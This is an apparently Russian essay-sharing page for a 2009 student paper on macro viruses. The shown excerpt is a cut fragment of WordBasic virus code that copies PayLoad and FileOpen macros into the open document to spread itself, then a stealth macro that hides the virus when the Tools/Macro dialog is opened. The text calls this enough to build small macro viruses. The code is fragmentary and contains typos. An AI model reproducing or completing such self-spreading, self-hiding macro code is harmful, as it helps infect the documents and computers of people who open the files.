Категория
Информатика
Тип
реферат
Страницы
5 стр.
Дата
22.06.2009
Формат файла
.rtf — Rich Text Format (Wordpad)
Архив
21333.zip — 10.56 kb
  • makrovirusy_21333_1.rtf — 57.86 Kb
  • Readme_docus.me.txt — 125 Bytes
Оцените работу
Хорошо  или  Плохо




Текст работы

WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"
' При открытии документа
Dlg.Format=1
End If
FileDaveAs dig
End Sub
Этой информации вполне достаточно для создания небольших макро вирусов.
Специальные процедуры
Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу щий вирус,
если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть
примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dig
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog




Ваше мнение



CAPTCHA